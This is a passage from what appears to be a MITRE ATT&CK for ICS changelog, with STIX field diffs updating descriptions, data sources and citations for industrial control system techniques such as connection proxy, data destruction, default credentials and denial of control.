| > | picious. Analyze network data for uncommon data flows (e.g. | ||||
| > | , a client sending significantly more data than it receives | ||||
| > | from a server or between clients that should not or often do | ||||
| > | not communicate with one another). Processes utilizing the | ||||
| > | network that do not normally have network communication or h | ||||
| > | ave never been seen before are suspicious. Analyze packet co | ||||
| > | ntents to detect communications that do not follow the expec | ||||
| > | ted protocol behavior for the port that is being used. (Cita | ||||
| > | tion: University of Birmingham C2) | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.900000+00:00 |
| description | Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications. The definition of a proxy can also be expanded to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other. The network may be within a single organization or across multiple organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. (Citation: EAttack Connection Proxy) Detection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) | Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications. The definition of a proxy can also be expanded to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other. The network may be within a single organization or across multiple organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. (Citation: Enterprise ATT&CK January 2018) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T884 | https://attack.mitre.org/techniques/T0884 |
| external_references[1]['source_name'] | EAttack Connection Proxy | Enterprise ATT&CK January 2018 |
| external_references[1]['description'] | Enterprise ATT&CK. (2018, January 11). Connection Proxy. Retrieved May 17, 2018. | Enterprise ATT&CK 2018, January 11 Connection Proxy Retrieved. 2018/05/17 |
| x_mitre_data_sources[0] | Process use of network | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[1] | Process monitoring | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Packet capture | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Windows | None |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://www.cpni.gov.uk/Documents/Publications/2014/2014-04-23-c2-report-birmingham.pdf'} | |
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Network protocol analysis |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may cause damage and destruction of property to | t | 1 | Adversaries may cause damage and destruction of property to |
| > | infrastructure, equipment, and the surrounding environment w | > | infrastructure, equipment, and the surrounding environment w | ||
| > | hen attacking control systems. This technique may result in | > | hen attacking control systems. This technique may result in | ||
| > | device and operational equipment breakdown, or represent tan | > | device and operational equipment breakdown, or represent tan | ||
| > | gential damage from other techniques used in an attack. Depe | > | gential damage from other techniques used in an attack. Depe | ||
| > | nding on the severity of physical damage and disruption caus | > | nding on the severity of physical damage and disruption caus | ||
| > | ed to control processes and systems, this technique may resu | > | ed to control processes and systems, this technique may resu | ||
| > | lt in <span class="smw-format list-format "><span class="smw | > | lt in [Loss of Safety](https://attack.mitre.org/techniques/T | ||
| > | -row"><span class="smw-field"><span class="smw-value">Loss o | > | 0880). Operations that result in [Loss of Control](https://a | ||
| > | f Safety</span></span></span></span>. Operations that result | > | ttack.mitre.org/techniques/T0827) may also cause damage to p | ||
| > | in <span class="smw-format list-format "><span class="smw-r | > | roperty, which may be directly or indirectly motivated by an | ||
| > | ow"><span class="smw-field"><span class="smw-value">Loss of | > | adversary seeking to cause impact in the form of [Loss of P | ||
| > | Control</span></span></span></span> may also cause damage to | > | roductivity and Revenue](https://attack.mitre.org/techniques | ||
| > | property, which may be directly or indirectly motivated by | > | /T0828). The German Federal Office for Information Securit | ||
| > | an adversary seeking to cause impact in the form of <span cl | > | y (BSI) reported a targeted attack on a steel mill under an | ||
| > | ass="smw-format list-format "><span class="smw-row"><span cl | > | incidents affecting business section of its 2014 IT Security | ||
| > | ass="smw-field"><span class="smw-value">Loss of Productivity | > | Report. (Citation: BSI State of IT Security 2014) These ta | ||
| > | and Revenue</span></span></span></span>. The German Feder | > | rgeted attacks affected industrial operations and resulted i | ||
| > | al Office for Information Security (BSI) reported a targeted | > | n breakdowns of control system components and even entire in | ||
| > | attack on a steel mill under an incidents affecting busines | > | stallations. As a result of these breakdowns, massive impact | ||
| > | s section of its 2014 IT Security Report. (Citation: German | > | and damage resulted from the uncontrolled shutdown of a bla | ||
| > | Steel Mill - German Federal Office for Information Security | > | st furnace. In the Maroochy Attack, Vitek Boden gained remo | ||
| > | - 2014) These targeted attacks affected industrial operation | > | te computer access to the control system and altered data so | ||
| > | s and resulted in breakdowns of control system components an | > | that whatever function should have occurred at affected pum | ||
| > | d even entire installations. As a result of these breakdowns | > | ping stations did not occur or occurred in a different way. | ||
| > | , massive impact and damage resulted from the uncontrolled s | > | This ultimately led to 800,000 liters of raw sewage being sp | ||
| > | hutdown of a blast furnace. In the Maroochy Attack, Vitek B | > | illed out into the community. The raw sewage affected local | ||
| > | oden gained remote computer access to the control system and | > | parks, rivers, and even a local hotel. This resulted in harm | ||
| > | altered data so that whatever function should have occurred | > | to marine life and produced a sickening stench from the com | ||
| > | at affected pumping stations did not occur or occurred in a | > | munity's now blackened rivers. (Citation: Marshall Abrams Ju | ||
| > | different way. This ultimately led to 800,000 liters of raw | > | ly 2008) A Polish student used a remote controller device t | ||
| > | sewage being spilled out into the community. The raw sewage | > | o interface with the Lodz city tram system in Poland. (Citat | ||
| > | affected local parks, rivers, and even a local hotel. This | > | ion: John Bill May 2017) (Citation: Shelley Smith February 2 | ||
| > | resulted in harm to marine life and produced a sickening ste | > | 008) (Citation: Bruce Schneier January 2008) Using this remo | ||
| > | nch from the community's now blackened rivers. (Citation: Ma | > | te, the student was able to capture and replay legitimate tr | ||
| > | roochy - MITRE - 200808) A Polish student used a remote con | > | am signals. This resulted in damage to impacted trams, peopl | ||
| > | troller device to interface with the Lodz city tram system i | > | e, and the surrounding property. Reportedly, four trams were | ||
| > | n Poland. (Citation: LodzTram-LondonReconnections-2017-12) ( | > | derailed and were forced to make emergency stops. (Citation | ||
| > | Citation: LodzTram-InHomelandSecurity-2008-02) (Citation: Lo | > | : Shelley Smith February 2008) Commands issued by the studen | ||
| > | dzTram-Schneier-2008-01) Using this remote, the student was | > | t may have also resulted in tram collisions, causing harm to | ||
| > | able to capture and replay legitimate tram signals. This res | > | those on board and the environment outside. (Citation: Bruc | ||
| > | ulted in damage to impacted trams, people, and the surroundi | > | e Schneier January 2008) | ||
| > | ng property. Reportedly, four trams were derailed and were f | ||||
| > | orced to make emergency stops. (Citation: LodzTram-InHomelan | ||||
| > | dSecurity-2008-02) Commands issued by the student may have a | ||||
| > | lso resulted in tram collisions, causing harm to those on bo | ||||
| > | ard and the environment outside. (Citation: LodzTram-Schneie | ||||
| > | r-2008-01) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.903000+00:00 |
| description | Adversaries may cause damage and destruction of property to infrastructure, equipment, and the surrounding environment when attacking control systems. This technique may result in device and operational equipment breakdown, or represent tangential damage from other techniques used in an attack. Depending on the severity of physical damage and disruption caused to control processes and systems, this technique may result in Loss of Safety. Operations that result in Loss of Control may also cause damage to property, which may be directly or indirectly motivated by an adversary seeking to cause impact in the form of Loss of Productivity and Revenue. The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill under an incidents affecting business section of its 2014 IT Security Report. (Citation: German Steel Mill - German Federal Office for Information Security - 2014) These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact and damage resulted from the uncontrolled shutdown of a blast furnace. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. The raw sewage affected local parks, rivers, and even a local hotel. This resulted in harm to marine life and produced a sickening stench from the community's now blackened rivers. (Citation: Maroochy - MITRE - 200808) A Polish student used a remote controller device to interface with the Lodz city tram system in Poland. (Citation: LodzTram-LondonReconnections-2017-12) (Citation: LodzTram-InHomelandSecurity-2008-02) (Citation: LodzTram-Schneier-2008-01) Using this remote, the student was able to capture and replay legitimate tram signals. This resulted in damage to impacted trams, people, and the surrounding property. Reportedly, four trams were derailed and were forced to make emergency stops. (Citation: LodzTram-InHomelandSecurity-2008-02) Commands issued by the student may have also resulted in tram collisions, causing harm to those on board and the environment outside. (Citation: LodzTram-Schneier-2008-01) | Adversaries may cause damage and destruction of property to infrastructure, equipment, and the surrounding environment when attacking control systems. This technique may result in device and operational equipment breakdown, or represent tangential damage from other techniques used in an attack. Depending on the severity of physical damage and disruption caused to control processes and systems, this technique may result in [Loss of Safety](https://attack.mitre.org/techniques/T0880). Operations that result in [Loss of Control](https://attack.mitre.org/techniques/T0827) may also cause damage to property, which may be directly or indirectly motivated by an adversary seeking to cause impact in the form of [Loss of Productivity and Revenue](https://attack.mitre.org/techniques/T0828). The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill under an incidents affecting business section of its 2014 IT Security Report. (Citation: BSI State of IT Security 2014) These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact and damage resulted from the uncontrolled shutdown of a blast furnace. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. The raw sewage affected local parks, rivers, and even a local hotel. This resulted in harm to marine life and produced a sickening stench from the community's now blackened rivers. (Citation: Marshall Abrams July 2008) A Polish student used a remote controller device to interface with the Lodz city tram system in Poland. (Citation: John Bill May 2017) (Citation: Shelley Smith February 2008) (Citation: Bruce Schneier January 2008) Using this remote, the student was able to capture and replay legitimate tram signals. This resulted in damage to impacted trams, people, and the surrounding property. Reportedly, four trams were derailed and were forced to make emergency stops. (Citation: Shelley Smith February 2008) Commands issued by the student may have also resulted in tram collisions, causing harm to those on board and the environment outside. (Citation: Bruce Schneier January 2008) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T879 | https://attack.mitre.org/techniques/T0879 |
| external_references[1]['source_name'] | Maroochy - MITRE - 200808 | BSI State of IT Security 2014 |
| external_references[1]['description'] | Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018. | Bundesamt fr Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security) 2014 Die Lage der IT-Sicherheit in Deutschland 2014 (The State of IT Security in Germany) Retrieved. 2019/10/30 |
| external_references[1]['url'] | https://www.mitre.org/sites/default/files/pdf/08%201145.pdf | https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?__blob=publicationFile&v=3 |
| external_references[2]['source_name'] | LodzTram-LondonReconnections-2017-12 | Marshall Abrams July 2008 |
| external_references[2]['description'] | John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019. | Marshall Abrams 2008, July 23 Malicious Control System Cyber Security Attack Case Study Maroochy Water Services, Australia Retrieved. 2018/03/27 |
| external_references[2]['url'] | https://www.londonreconnections.com/2017/hacked-cyber-security-railways/ | https://www.mitre.org/sites/default/files/pdf/08_1145.pdf |
| external_references[3]['source_name'] | LodzTram-InHomelandSecurity-2008-02 | John Bill May 2017 |
| external_references[3]['description'] | Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019. | John Bill 2017, May 12 Hacked Cyber Security Railways Retrieved. 2019/10/17 |
| external_references[3]['url'] | https://inhomelandsecurity.com/teen%20hacker%20in%20poland%20plays%20tr/ | https://www.londonreconnections.com/2017/hacked-cyber-security-railways/ |
| external_references[4]['source_name'] | LodzTram-Schneier-2008-01 | Shelley Smith February 2008 |
| external_references[4]['description'] | Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019. | Shelley Smith 2008, February 12 Teen Hacker in Poland Plays Trains and Derails City Tram System Retrieved. 2019/10/17 |
| external_references[4]['url'] | https://www.schneier.com/blog/archives/2008/01/hacking%20the%20pol.html | https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/ |
| external_references[5]['source_name'] | German Steel Mill - German Federal Office for Information Security - 2014 | Bruce Schneier January 2008 |
| external_references[5]['description'] | Bundesamt für Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security). (2014). Die Lage der IT-Sicherheit in Deutschland 2014 (The State of IT Security in Germany). Retrieved October 30, 2019. | Bruce Schneier 2008, January 17 Hacking Polish Trams Retrieved. 2019/10/17 |
| external_references[5]['url'] | https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?%20blob=publicationFile&v=3 | https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html |
| x_mitre_platforms[0] | Windows | None |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Shelley Smith February 2008', 'description': 'Shelley Smith 2008, February 12 Teen Hacker in Poland Plays Trains and Derails City Tram System Retrieved. 2019/10/17 ', 'url': 'https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/'} | |
| external_references | {'source_name': 'Bruce Schneier January 2008', 'description': 'Bruce Schneier 2008, January 17 Hacking Polish Trams Retrieved. 2019/10/17 ', 'url': 'https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html'} |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may perform data destruction over the course of | t | 1 | Adversaries may perform data destruction over the course of |
| > | an operation. The adversary may drop or create malware, tool | > | an operation. The adversary may drop or create malware, tool | ||
| > | s, or other non-native files on a target system to accomplis | > | s, or other non-native files on a target system to accomplis | ||
| > | h this, potentially leaving behind traces of malicious activ | > | h this, potentially leaving behind traces of malicious activ | ||
| > | ities. Such non-native files and other data may be removed o | > | ities. Such non-native files and other data may be removed o | ||
| > | ver the course of an intrusion to maintain a small footprint | > | ver the course of an intrusion to maintain a small footprint | ||
| > | or as a standard part of the post-intrusion cleanup process | > | or as a standard part of the post-intrusion cleanup process | ||
| > | . (Citation: EAttack File Deletion) Data destruction may a | > | . (Citation: Enterprise ATT&CK January 2018) Data destruct | ||
| > | lso be used to render operator interfaces unable to respond | > | ion may also be used to render operator interfaces unable to | ||
| > | and to disrupt response functions from occurring as expected | > | respond and to disrupt response functions from occurring as | ||
| > | . An adversary may also destroy data backups that are vital | > | expected. An adversary may also destroy data backups that a | ||
| > | to recovery after an incident. Standard file deletion comma | > | re vital to recovery after an incident. Standard file delet | ||
| > | nds are available on most operating system and device interf | > | ion commands are available on most operating system and devi | ||
| > | aces to perform cleanup, but adversaries may use other tools | > | ce interfaces to perform cleanup, but adversaries may use ot | ||
| > | as well. Two examples are Windows Sysinternals SDelete and | > | her tools as well. Two examples are Windows Sysinternals SDe | ||
| > | Active@ Killdisk. Detection: It may be uncommon for events | > | lete and Active@ Killdisk. | ||
| > | related to benign command-line functions such as DEL or thir | ||||
| > | d-party utilities or tools to be found in an environment, de | ||||
| > | pending on the user base and how systems are typically used. | ||||
| > | Monitoring for command-line deletion functions to correlate | ||||
| > | with binaries or other files that an adversary may drop and | ||||
| > | remove may lead to detection of malicious activity. Another | ||||
| > | good practice is monitoring for known deletion and secure d | ||||
| > | eletion tools that are not already on systems within an ente | ||||
| > | rprise network that an adversary could introduce. Some monit | ||||
| > | oring tools may collect command-line arguments, but may not | ||||
| > | capture DEL commands since DEL is a native function within c | ||||
| > | md.exe. | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.904000+00:00 |
| description | Adversaries may perform data destruction over the course of an operation. The adversary may drop or create malware, tools, or other non-native files on a target system to accomplish this, potentially leaving behind traces of malicious activities. Such non-native files and other data may be removed over the course of an intrusion to maintain a small footprint or as a standard part of the post-intrusion cleanup process. (Citation: EAttack File Deletion) Data destruction may also be used to render operator interfaces unable to respond and to disrupt response functions from occurring as expected. An adversary may also destroy data backups that are vital to recovery after an incident. Standard file deletion commands are available on most operating system and device interfaces to perform cleanup, but adversaries may use other tools as well. Two examples are Windows Sysinternals SDelete and Active@ Killdisk. Detection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe. | Adversaries may perform data destruction over the course of an operation. The adversary may drop or create malware, tools, or other non-native files on a target system to accomplish this, potentially leaving behind traces of malicious activities. Such non-native files and other data may be removed over the course of an intrusion to maintain a small footprint or as a standard part of the post-intrusion cleanup process. (Citation: Enterprise ATT&CK January 2018) Data destruction may also be used to render operator interfaces unable to respond and to disrupt response functions from occurring as expected. An adversary may also destroy data backups that are vital to recovery after an incident. Standard file deletion commands are available on most operating system and device interfaces to perform cleanup, but adversaries may use other tools as well. Two examples are Windows Sysinternals SDelete and Active@ Killdisk. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T809 | https://attack.mitre.org/techniques/T0809 |
| external_references[1]['source_name'] | EAttack File Deletion | Enterprise ATT&CK January 2018 |
| external_references[1]['description'] | Enterprise ATT&CK. (2018, January 11). File Deletion. Retrieved May 17, 2018. | Enterprise ATT&CK 2018, January 11 File Deletion Retrieved. 2018/05/17 |
| x_mitre_data_sources[0] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | File: File Deletion |
| x_mitre_data_sources[2] | Process monitoring | File: File Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may target and collect data from information rep | t | 1 | Adversaries may target and collect data from information rep |
| > | ositories. This can include sensitive data such as specifica | > | ositories. This can include sensitive data such as specifica | ||
| > | tions, schematics, or diagrams of control system layouts, de | > | tions, schematics, or diagrams of control system layouts, de | ||
| > | vices, and processes. Examples of target information reposit | > | vices, and processes. Examples of information repositories i | ||
| > | ories include reference databases and local machines on the | > | nclude reference databases or local machines in the process | ||
| > | process environment. | > | environment, as well as workstations and databases in the co | ||
| > | rporate network that might contain information about the ICS | ||||
| > | . (Citation: Cybersecurity & Infrastructure Security Agency | ||||
| > | March 2018) Information collected from these systems may p | ||||
| > | rovide the adversary with a better understanding of the oper | ||||
| > | ational environment, vendors used, processes, or procedures | ||||
| > | of the ICS. In a campaign between 2011 and 2013 against ONG | ||||
| > | organizations, Chinese state-sponsored actors searched docu | ||||
| > | ment repositories for specific information such as, system m | ||||
| > | anuals, remote terminal unit (RTU) sites, personnel lists, d | ||||
| > | ocuments that included the string SCAD*, user credentials, a | ||||
| > | nd remote dial-up access information. (Citation: CISA AA21-2 | ||||
| > | 01A Pipeline Intrusion July 2021) | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.905000+00:00 |
| description | Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of target information repositories include reference databases and local machines on the process environment. | Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of information repositories include reference databases or local machines in the process environment, as well as workstations and databases in the corporate network that might contain information about the ICS. (Citation: Cybersecurity & Infrastructure Security Agency March 2018) Information collected from these systems may provide the adversary with a better understanding of the operational environment, vendors used, processes, or procedures of the ICS. In a campaign between 2011 and 2013 against ONG organizations, Chinese state-sponsored actors searched document repositories for specific information such as, system manuals, remote terminal unit (RTU) sites, personnel lists, documents that included the string SCAD*, user credentials, and remote dial-up access information. (Citation: CISA AA21-201A Pipeline Intrusion July 2021) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T811 | https://attack.mitre.org/techniques/T0811 |
| x_mitre_data_sources[0] | Application logs | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Authentication logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[2] | Data loss prevention | File: File Access |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Cybersecurity & Infrastructure Security Agency March 2018', 'description': 'Cybersecurity & Infrastructure Security Agency 2018, March 15 Alert (TA18-074A) Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors Retrieved. 2019/10/11 ', 'url': 'https://us-cert.cisa.gov/ncas/alerts/TA18-074A'} | |
| external_references | {'source_name': 'CISA AA21-201A Pipeline Intrusion July 2021', 'description': 'Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA) 2021, July 20 Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013 Retrieved. 2021/10/08 ', 'url': 'https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Third-party application logs | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage manufacturer or supplier set defaul | t | 1 | Adversaries may leverage manufacturer or supplier set defaul |
| > | t credentials on control system devices. These default crede | > | t credentials on control system devices. These default crede | ||
| > | ntials may have administrative permissions and may be necess | > | ntials may have administrative permissions and may be necess | ||
| > | ary for initial configuration of the device. It is general b | > | ary for initial configuration of the device. It is general b | ||
| > | est practice to change the passwords for these accounts as s | > | est practice to change the passwords for these accounts as s | ||
| > | oon as possible, but some manufacturers may have devices tha | > | oon as possible, but some manufacturers may have devices tha | ||
| > | t have passwords or usernames that cannot be changed. (Citat | > | t have passwords or usernames that cannot be changed. (Citat | ||
| > | ion: Guidance - NIST SP800-82) Default credentials are norm | > | ion: Keith Stouffer May 2015) Default credentials are norma | ||
| > | ally documented in an instruction manual that is either pack | > | lly documented in an instruction manual that is either packa | ||
| > | aged with the device, published online through official mean | > | ged with the device, published online through official means | ||
| > | s, or published online through unofficial means. Adversaries | > | , or published online through unofficial means. Adversaries | ||
| > | may leverage default credentials that have not been properl | > | may leverage default credentials that have not been properly | ||
| > | y modified or disabled. | > | modified or disabled. | ||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.906000+00:00 |
| description | Adversaries may leverage manufacturer or supplier set default credentials on control system devices. These default credentials may have administrative permissions and may be necessary for initial configuration of the device. It is general best practice to change the passwords for these accounts as soon as possible, but some manufacturers may have devices that have passwords or usernames that cannot be changed. (Citation: Guidance - NIST SP800-82) Default credentials are normally documented in an instruction manual that is either packaged with the device, published online through official means, or published online through unofficial means. Adversaries may leverage default credentials that have not been properly modified or disabled. | Adversaries may leverage manufacturer or supplier set default credentials on control system devices. These default credentials may have administrative permissions and may be necessary for initial configuration of the device. It is general best practice to change the passwords for these accounts as soon as possible, but some manufacturers may have devices that have passwords or usernames that cannot be changed. (Citation: Keith Stouffer May 2015) Default credentials are normally documented in an instruction manual that is either packaged with the device, published online through official means, or published online through unofficial means. Adversaries may leverage default credentials that have not been properly modified or disabled. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T812 | https://attack.mitre.org/techniques/T0812 |
| external_references[1]['source_name'] | Guidance - NIST SP800-82 | Keith Stouffer May 2015 |
| external_references[1]['description'] | Keith Stouffer. (2015, May). Guide to Industrial Control Systems (ICS) Security. Retrieved March 28, 2018. | Keith Stouffer 2015, May Guide to Industrial Control Systems (ICS) Security Retrieved. 2018/03/28 |
| x_mitre_data_sources[0] | Authentication logs | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Windows event logs | Logon Session: Logon Session Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_data_sources | Packet capture | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may cause a denial of control to temporarily pre | t | 1 | Adversaries may cause a denial of control to temporarily pre |
| > | vent operators and engineers from interacting with process c | > | vent operators and engineers from interacting with process c | ||
| > | ontrols. An adversary may attempt to deny process control ac | > | ontrols. An adversary may attempt to deny process control ac | ||
| > | cess to cause a temporary loss of communication with the con | > | cess to cause a temporary loss of communication with the con | ||
| > | trol device or to prevent operator adjustment of process con | > | trol device or to prevent operator adjustment of process con | ||
| > | trols. An affected process may still be operating during the | > | trols. An affected process may still be operating during the | ||
| > | period of control loss, but not necessarily in a desired st | > | period of control loss, but not necessarily in a desired st | ||
| > | ate. (Citation: Reference - Corero) (Citation: Reference - S | > | ate. (Citation: Corero) (Citation: Michael J. Assante and Ro | ||
| > | ANS - 201510) (Citation: Reference - RIoT) In the Maroochy | > | bert M. Lee) (Citation: Tyson Macaulay) In the Maroochy att | ||
| > | attack, the adversary was able to temporarily shut an invest | > | ack, the adversary was able to temporarily shut an investiga | ||
| > | igator out of the network preventing them from issuing any c | > | tor out of the network preventing them from issuing any cont | ||
| > | ontrols. | > | rols. In the 2017 Dallas Siren incident operators were unab | ||
| > | le to disable the false alarms from the Office of Emergency | ||||
| > | Management headquarters. (Citation: Mark Loveless April 2017 | ||||
| > | ) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 | |
| external_references | https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.908000+00:00 |
